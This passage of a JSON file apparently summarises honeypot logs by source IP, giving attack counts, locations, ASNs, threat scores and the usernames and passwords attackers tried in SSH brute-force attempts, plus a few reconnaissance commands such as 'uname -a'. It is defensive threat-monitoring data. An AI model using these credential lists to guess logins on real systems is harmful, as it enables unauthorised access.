      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 139879,
      "as_org": "Galaxy Broadband",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T02:00:40.329000+00:00",
        "last_seen_30d": "2026-04-28T02:07:09.902000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.228.177": {
      "attack_count": 50,
      "first_seen": "2026-04-16T03:55:29.998Z",
      "last_seen": "2026-04-16T04:00:54.469Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T03:55:29.998000+00:00",
        "last_seen_30d": "2026-04-16T04:02:00.446000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "212.72.14.244": {
      "attack_count": 39,
      "first_seen": "2026-04-16T19:36:06.096Z",
      "last_seen": "2026-04-25T21:59:40.704Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!Q2w3e4r"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Oman",
      "country_code": "OM",
      "city": "Seeb",
      "asn": 28885,
      "as_org": "Oman Telecommunications Company (S.A.O.G)",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T19:36:06.096000+00:00",
        "last_seen_30d": "2026-04-25T22:00:50.482000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 39,
        "Suricata": 28
      }
    },
    "42.6.54.107": {
      "attack_count": 38,
      "first_seen": "2026-04-10T14:58:20.737Z",
      "last_seen": "2026-04-10T15:02:47.180Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T14:58:20.737000+00:00",
        "last_seen_30d": "2026-04-10T15:03:55.698000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "110.39.231.96": {
      "attack_count": 34,
      "first_seen": "2026-04-13T21:26:28.625Z",
      "last_seen": "2026-04-13T21:31:56.432Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T21:26:28.625000+00:00",
        "last_seen_30d": "2026-04-13T21:42:49.887000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 18
      }
    },
    "77.90.185.16": {
      "attack_count": 34,
      "first_seen": "2026-04-01T13:44:34.411Z",
      "last_seen": "2026-04-30T15:28:01.817Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 88.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 247,
        "days_active_30d": 30,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T13:24:15+00:00",
        "last_seen_30d": "2026-04-30T15:38:49.059000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 160,
        "Honeytrap": 41,
        "Cowrie": 34,
        "ConPot": 12
      }
    },
    "92.118.39.196": {
      "attack_count": 32,
      "first_seen": "2026-04-16T07:02:34.798Z",
      "last_seen": "2026-04-29T16:03:10.336Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 39.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.5,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T07:02:34.798000+00:00",
        "last_seen_30d": "2026-04-29T16:04:19.679000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "171.244.41.25": {
      "attack_count": 29,
      "first_seen": "2026-04-27T11:39:49.944Z",
      "last_seen": "2026-04-27T11:42:24.563Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "nginx",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_upload",
        "cowrie.session.params"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T11:39:49.944000+00:00",
        "last_seen_30d": "2026-04-27T11:43:30.329000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 29,
        "Suricata": 12
      }
    },
    "189.1.152.150": {
      "attack_count": 26,
      "first_seen": "2026-04-30T13:38:01.860Z",
      "last_seen": "2026-04-30T14:02:18.460Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Avar\u00e9",
      "asn": 28668,
      "as_org": "Desktop Sigmanet Comunicacao Multimidia SA",
      "threat_score": 55.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T19:07:33.806000+00:00",
        "last_seen_30d": "2026-04-30T14:03:35.685000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 16
      }
    },
    "103.218.243.121": {
      "attack_count": 25,
      "first_seen": "2026-04-27T07:22:58.502Z",
      "last_seen": "2026-04-27T07:23:40.493Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "5nWt3P-fF4WosQm5O",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T07:22:58.502000+00:00",
        "last_seen_30d": "2026-04-27T07:24:48.214000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 11
      }
    },
    "162.243.116.161": {
      "attack_count": 25,
      "first_seen": "2026-04-25T18:39:22.249Z",
      "last_seen": "2026-04-25T18:50:06.645Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "sol",
        "validator"
      ],
      "passwords_attempted": [
        "123456",
        "sol",
        "solana",
        "validator"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Secaucus",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T18:36:37.726000+00:00",
        "last_seen_30d": "2026-04-25T18:51:13.519000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 13
      }
    },
    "220.202.89.127": {
      "attack_count": 24,
      "first_seen": "2026-04-12T05:23:08.379Z",
      "last_seen": "2026-04-12T05:25:43.897Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T05:23:08.379000+00:00",
        "last_seen_30d": "2026-04-12T05:26:50.900000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "172.94.9.128": {
      "attack_count": 23,
      "first_seen": "2026-04-10T11:17:15.355Z",
      "last_seen": "2026-04-15T15:46:27.843Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "client123",
        "kelltech2025@",
        "kelltech2026#",
        "kelltech@1"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:17:15.355000+00:00",
        "last_seen_30d": "2026-04-15T15:47:37.192000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "139.135.60.148": {
      "attack_count": 20,
      "first_seen": "2026-04-06T01:55:51.259Z",
      "last_seen": "2026-04-06T01:58:03.648Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T01:55:51.259000+00:00",
        "last_seen_30d": "2026-04-06T01:59:09.930000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "121.29.4.85": {
      "attack_count": 19,
      "first_seen": "2026-04-01T10:25:48.915Z",
      "last_seen": "2026-04-01T10:51:50.173Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "metalica",
        "n00dle",
        "p@ssword1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T10:25:48.915000+00:00",
        "last_seen_30d": "2026-04-01T10:52:58.700000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 11
      }
    },
    "162.240.167.229": {
      "attack_count": 18,
      "first_seen": "2026-04-10T18:05:07.640Z",
      "last_seen": "2026-04-11T14:51:16.663Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "kelltech",
        "kelltech123",
        "kelltech@123"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T18:05:07.640000+00:00",
        "last_seen_30d": "2026-04-11T14:52:19.829000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "159.223.73.209": {
      "attack_count": 13,
      "first_seen": "2026-04-03T11:44:00.847Z",
      "last_seen": "2026-04-08T03:48:11.577Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 5.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 6,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T11:44:00.847000+00:00",
        "last_seen_30d": "2026-04-08T03:49:15.186000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 12,
        "Honeytrap": 1
      }
    },
    "160.119.76.51": {
      "attack_count": 13,
      "first_seen": "2026-04-29T22:22:25.263Z",
      "last_seen": "2026-04-29T22:52:28.002Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "scan"
      ],
      "passwords_attempted": [
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 70.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.5,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 558,
        "days_active_30d": 1,
        "ports_targeted_30d": 147,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-04-29T22:20:07.423000+00:00",
        "last_seen_30d": "2026-04-29T22:56:36.289000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 461,
        "Dionaea": 26,
        "Miniprint": 15,
        "Cowrie": 13,
        "Redishoneypot": 8,
        "Ciscoasa": 6,
        "ConPot": 6,
        "H0neytr4p": 5,
        "Honeyaml": 5,
        "Ipphoney": 5,
        "Tanner": 5,
        "Sentrypeer": 2,
        "ElasticPot": 1
      }
    },
    "147.182.130.22": {
      "attack_count": 12,
      "first_seen": "2026-04-26T16:43:34.577Z",
      "last_seen": "2026-04-26T16:44:15.441Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 65.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 172089,
        "days_active_30d": 1,
        "ports_targeted_30d": 64421,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-26T16:39:43+00:00",
        "last_seen_30d": "2026-04-26T16:54:09.752000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 144993,
        "Honeytrap": 27035,
        "Cowrie": 12,
        "Mailoney": 12,
        "ConPot": 9,
        "Dionaea": 9,
        "Miniprint": 8,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "183.87.217.222": {
      "attack_count": 12,
      "first_seen": "2026-04-25T00:11:14.097Z",
      "last_seen": "2026-04-25T00:14:02.551Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "a",
        "nil"
      ],
      "passwords_attempted": [
        "",
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 45117,
      "as_org": "Ishans Network",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-25T00:11:14.097000+00:00",
        "last_seen_30d": "2026-04-25T00:15:05.080000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 10,
        "Honeytrap": 2
      }
    },
    "179.33.152.45": {
      "attack_count": 8,
      "first_seen": "2026-04-26T02:59:00.681Z",
      "last_seen": "2026-04-26T03:07:03.451Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Santa Marta",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T02:59:00.681000+00:00",
        "last_seen_30d": "2026-04-26T03:08:08.615000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "71.6.232.28": {
      "attack_count": 8,
      "first_seen": "2026-04-06T23:45:54.692Z",
      "last_seen": "2026-04-13T23:55:38.709Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 89.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 30,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T03:59:05.916000+00:00",
        "last_seen_30d": "2026-04-30T07:28:49.422000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Cowrie": 8,
        "Redishoneypot": 6,
        "Dionaea": 3,
        "Honeytrap": 3,
        "Mailoney": 2,
        "H0neytr4p": 1,
        "Tanner": 1
      }
    },
    "71.90.30.53": {
      "attack_count": 8,
      "first_seen": "2026-04-10T23:19:53.208Z",
      "last_seen": "2026-04-11T21:35:05.074Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Watertown",
      "asn": 20115,
      "as_org": "Charter Communications LLC",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T11:37:53.333000+00:00",
        "last_seen_30d": "2026-04-11T21:36:13.293000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 8
      }
    },
    "130.12.182.185": {
      "attack_count": 7,
      "first_seen": "2026-04-09T03:58:11.794Z",
      "last_seen": "2026-04-09T03:58:14.198Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "4r3e2w1q"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 36680,
      "as_org": "Netiface LLC",
      "threat_score": 71.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.0,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 505,
        "days_active_30d": 24,
        "ports_targeted_30d": 44,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T00:23:43+00:00",
        "last_seen_30d": "2026-04-26T09:11:07.496000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 299,
        "Honeytrap": 199,
        "Cowrie": 7
      }
    },
    "74.82.47.3": {
      "attack_count": 7,
      "first_seen": "2026-04-01T09:30:32.893Z",
      "last_seen": "2026-04-30T13:34:53.210Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 6.1; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.156 Not(A:Brand/24 YaBrowser/24.4.1.901 Yowser/2.5  Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 354,
        "days_active_30d": 30,
        "ports_targeted_30d": 76,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T06:38:00.571000+00:00",
        "last_seen_30d": "2026-04-30T13:35:56.405000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 222,
        "Honeytrap": 108,
        "Miniprint": 9,
        "Cowrie": 7,
        "Dionaea": 3,
        "ElasticPot": 3,
        "ConPot": 2
      }
    },
    "198.235.24.170": {
